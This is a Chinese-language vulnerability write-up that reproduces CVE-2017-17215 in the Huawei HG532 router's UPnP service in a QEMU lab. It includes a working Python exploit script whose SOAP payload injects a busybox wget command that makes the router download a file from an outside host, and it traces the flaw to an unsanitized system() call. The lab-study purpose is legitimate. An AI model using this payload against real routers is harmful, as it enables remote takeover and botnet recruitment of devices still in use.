【我的第一个现实漏洞分析】 CVE-2017-17215 华为智能路由器HG532 漏洞分析笔记
0x00 基本信息
2017.11.27 Check Point团队报告华为 HG532 产品的远程命令执行漏洞(CVE-2017-17215),Mirai的升级版变种中已经使用该漏洞。 华为HG532 是一款小型家用和办公用户打造的告诉无线路由器。该漏洞payload由蜜罐所捕获发现。利用原理是利用upnp服务中的注入漏洞实现任意命令执行。
在Freebuf上有一系列文章,指导如何学习路由器漏洞分析,本文是第一篇通过CVE-2017-17215学习路由器漏洞分析,从入坑到放弃的复现记录,旨在供后来者验证和自我学习。
0x01 漏洞分析
该漏洞版本固件是HG532eV100R001C02B015_upgrade_main.bin。目前华为已发布漏洞公告,固件已经升级到HG532eV100R001C02B015_upgrade_main.bin。在华为的花粉论坛找到了该版本的下载链接。
click here to download
在这篇文章CVE-2017-17215-HG532命令注入漏洞分析 中也找到了下载地址2。两篇文章可以对照看,Freebuf上的文章更为详细具体。
查看官方Payload
分析固件文件
分析环境是ububtu 16.04 ,用binwalk解压固件文件
binwalk -Me HG532eV100R001C02B015_upgrade_main.bin
根据CheckPoint报告,漏洞点位于UPnP服务中。执行下列命令。
cd _HG532eV100R001C02B015_upgrade_main.bin.extracted/
cd squashfs-root/
cd bin
file upnp
结果如下图所示:
可以看到upnp是MIPS 32位 大端架构系统
0x02 分析环境搭建
环境搭建主要目的是搭建路由器固件运行的环境,有以下步骤:
- 安装QEMU 虚拟机
- 配置网络环境
- 加载路由器虚拟机的操作系统镜像
1. 安装qemu
在ubantu中执行下列指令
sudo apt-get install qemu
sudo apt-get install qemu-user-static
sudo apt-get install qemu-system
2. 网络配置
- 安装网络配置工具
apt-get install bridge-utils uml-utilities
修改ubuntu网络配置接口文件 /etc/network/interfaces/
修改qemu的网络接口启动文件脚本etc/qemu-ifup如下所示:
启动桥接网络
赋予可执行权限
sudo chmod a+x /etc/qemu-ifup
重启网络服务,使配置生效
sudo /etc/init.d/networking restart
关闭ens33,启动桥接网络br0
sudo ifdown eth0
sudo ifup br0
执行到这里时,系统提示eh0并未启动。这里并不影响
br0启动后如下所示
3. 加载debian镜像文件
结合Freebuf上的教程,下载debian mips qemu镜像文件,作为固件运行环境,下载地址如下:
https://people.debian.org/~aurel32/qemu/mips/
根据教程下载debian_squeeze_mips_standard.qcow2和vmlinux-2.6.32-5-4kc-malta。教程中作者吐槽其他的帖子有各种下载镜像的地址,但是坑很多。
然后在下载文件夹路径下,启动qemu,运行刚刚下载的镜像文件:
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic,macaddr=00:16:3e:00:00:01 -net tap
一切顺利,可以看到qemu成功启动
在QEMU虚拟机中,用户名root,密码root成功登陆。
但是尝试ping BAIDU时,发现网络不通。
ifconfig -a发现了网络机接口是eht1:
敲入指令
nano /etc/network/interfaces
将接口文件中的eth0改为eth1,之后,再键入指令
ifup eth1
重启eth1,再次尝试ping www.baidu.com。此时ping通。
直接在qemu上操作比较麻烦,建议在ubantu上ssh root@虚拟机ip来操作虚拟机。
将之前解压的固件包拷贝到虚拟机中,即完成路由器固件运行环境的搭建。接下来开始漏洞的复现。固件拷贝命令如下:
scp -r ./squashfs-root root@虚拟机ip:/root/
0x03 漏洞复现
本章解决三个问题。
第一:漏洞点在路由器的哪个服务中;
第二:如何运行漏洞点所在服务;
第三:如何利用
1. 定位漏洞点
首先查看checkpoint报告中的payload
注意其中的关键字:ctrlt和DeviceUpgrade_1,通过**grep -r [keywords]*指令查看有哪些文件包含这两个词语:
再找下端口号37215所在文件。
2. 运行漏洞点服务
但是要运行upnp和mic这两个文件,需要先切换根目录到路由器文件系统中,如果直接运行结果如下:
切换到路由器文件系统指令:
chroot /root/squashfs-root /bin/sh
或者执行qemu中squashfs-root文件夹中执行
chroot . sh
达到切换固件跟录下的目的。结果如下图所示:
运行mic服务
3. 验证漏洞
这时测试一下路由器的37215端口,
在ubantu上键入指令sudo nc -vlp 80 监听本机80端口,接下来运行exp脚本验证漏洞。
0x04 EXP 脚本
根据披露的payload,构造EXP 脚本如下:
import requests
headers = {
"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}
data = '''<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>;/bin/busybox wget -g 98.168.241.128 -l /tmp/1 -r /1;</NewStatusURL>
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''
requests.post('http://198.168.241.129:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
监听发现80端口收到路由器发来的wget包。
说明路由器成功执行exp中的wget指令。
0x04 漏洞原理
用IDA打开固件文件中的/bin/upnp文件。根据poc,注入点在<NewStatusURL>
以及<NewDownloadURL>
,在字符串中找到它们
双击NewStatusURL
,按下X查看交叉引用
查看这部分代码
newstatusurl这个节点值为 <NewStatusURL>$(busybox wget -g xxxx ;xx;xx)</NewStatusURL>
snprintf(a0,0x400,"upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -",a3)
其中a0是被拷贝的字符串的地址,也是system调用的第一个参数,这意味着路由器会执行system(a0)
指令,达到控制该路由器的目的。例如在本文的exp中,执行的是wget指令。
0x05 参考文章
[1] 通过CVE-2017-17215学习路由器漏洞分析,从入坑到放弃
[2] CVE-2017-17215 - 华为HG532命令注入漏洞分析
[3] CVE-2017-17215-HG532命令注入漏洞分析
【我的第一个现实漏洞分析】 CVE-2017-17215 华为智能路由器HG532 漏洞分析笔记的更多相关文章
- CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
0x01 2013 年 "水坑" APT 攻击事件 在 2013 年 5 月,美国的劳工部网站被黑,利用的正是 CVE-2013-1347 这个漏洞,在当时导致大量使用 IE8 访 ...
- [漏洞分析]thinkphp 5.x全版本任意代码执行分析全记录
0x00 简介 2018年12月10日中午,thinkphp官方公众号发布了一个更新通知,包含了一个5.x系列所有版本存在被getshell的高风险漏洞. 吃完饭回来看到这个公告都傻眼了,整个tp5系 ...
- DLink 815路由器栈溢出漏洞分析与复现
DLink 815路由器栈溢出漏洞分析与复现 qemu模拟环境搭建 固件下载地址 File DIR-815_FIRMWARE_1.01.ZIP - Firmware for D-link DIR-81 ...
- 目标URL存在跨站漏洞和目标URL存在http host头攻击漏洞处理方案
若需要学习技术文档共享(请关注群公告的内容)/讨论问题 请入QQ群:668345923 :若无法入群,请在您浏览文章下方留言,至于答复,这个看情况了 目录 HTTP协议详解 引言 一.HTTP协议详解 ...
- HackPwn:TCL智能洗衣机破解细节分析
上周结束的Hackpwn上,黑客们脑洞大开,破解了比亚迪汽车.小米手环.乐小宝.长虹电视.TCL洗衣机和九阳豆浆机等一系列最新的智能硬件,据黑客介绍,TCL是一家把家门“砌死”的企业,由于得到了将要被 ...
- Linux内核启动代码分析二之开发板相关驱动程序加载分析
Linux内核启动代码分析二之开发板相关驱动程序加载分析 1 从linux开始启动的函数start_kernel开始分析,该函数位于linux-2.6.22/init/main.c start_ke ...
- ORACLE实例恢复过程详细分析--使用dump、BBED等多种工具结合分析
---友情提示,内容较多,可以从博文左上的+目录选择小节方便阅读. 实验思路: --实验相关TRACE文件:http://download.csdn.net/detail/q947817003/6 ...
- 【漏洞通告】Linux Kernel 信息泄漏&权限提升漏洞(CVE-2020-8835)通告
0x01漏洞简介: 3月31日, 选手Manfred Paul 在Pwn2Own比赛上用于演示Linux内核权限提升的漏洞被CVE收录,漏洞编号为CVE-2020-8835.此漏洞由于bpf验证系统在 ...
- external-provisioner源码分析(2)-main方法与Leader选举分析
更多ceph-csi其他源码分析,请查看下面这篇博文:kubernetes ceph-csi分析目录导航 external-provisioner源码分析(2)-main方法与Leader选举分析 本 ...
随机推荐
- java.net 基本测试
java.net 基本测试 包 java.net java.net.ssl 类 java.net.URL 测试类 package com.mozq.boot.kuayu01.demo; import ...
- layer之关闭弹窗
一. layer关闭弹出层方法1-1) 先获取某个弹出层的 index var index = layer.open(); var index = layer.alert(); var index ...
- RPM 包
RPM 包 RPM 包是由 Red Hat 公司所开发的包管理系统 RPM 经过编译,无法看到源码,但是安装速度会快很多 RPM 包管理 RPM 包命名规则 包名 - 版本号 - 发布版本号 . 软件 ...
- 使用python做一个爬虫GUI程序
整体思路和之前的一篇博客爬虫豆瓣美女一致,这次加入了图片分类,同时利用tkinter模块做成GUI程序 效果如下: 整体代码如下: # -*- coding:utf-8 -*- import requ ...
- vscode (1.41.0版本,1.41.1版本)node_modules部分TS声明文件@types包会导致该版本没JS语法提示
正常提示如下: 然而我的提示没了,本以为是插件问题,把所有插件禁用不行!卸载重装vscode还是不行!!但是其他电脑的1.41.1版本,同样代码确没问题!!!简直日了*了 折腾大半天,发下问题如下: ...
- CF1221G Graph And Number(容斥,搜索,FMT)
至今觉得这场 edu 的 G 比 EF 都要简单-- 不知道为什么出题人要把 \(m=0\) 放进去,先特判掉. 要求至少一个 \(0\),至少一个 \(1\),至少一个 \(2\),容斥一波,变成总 ...
- Unity编辑器扩展学习 转载
https://www.xuanyusong.com/archives/category/unity/unity3deditor 1 using UnityEngine; public class T ...
- linux 硬盘满了后,查看使用目录占用空间情况
cd 切换到目录, du -ah --max-depth=1 查看当前目录下的 文件夹 占用情况
- Vue学习记录(二)-打包问题
由于项目需要,vue项目在build打包 之后,希望有一个类似wbeconfig的配置文件.方便判断应用所处的环境.进行相应的逻辑处理. 这边暂时记录一下思路,具体请看友情链接. 方案一:从环境变量下 ...
- ActiveMQ基础使用
概述 ActiveMQ是由Apache出品的,一款最流行的,能力强劲的开源消息总线.ActiveMQ是一个完全支持JMS1.1和J2EE 1.4规范的 JMS Provider实现,它非常快速,支持多 ...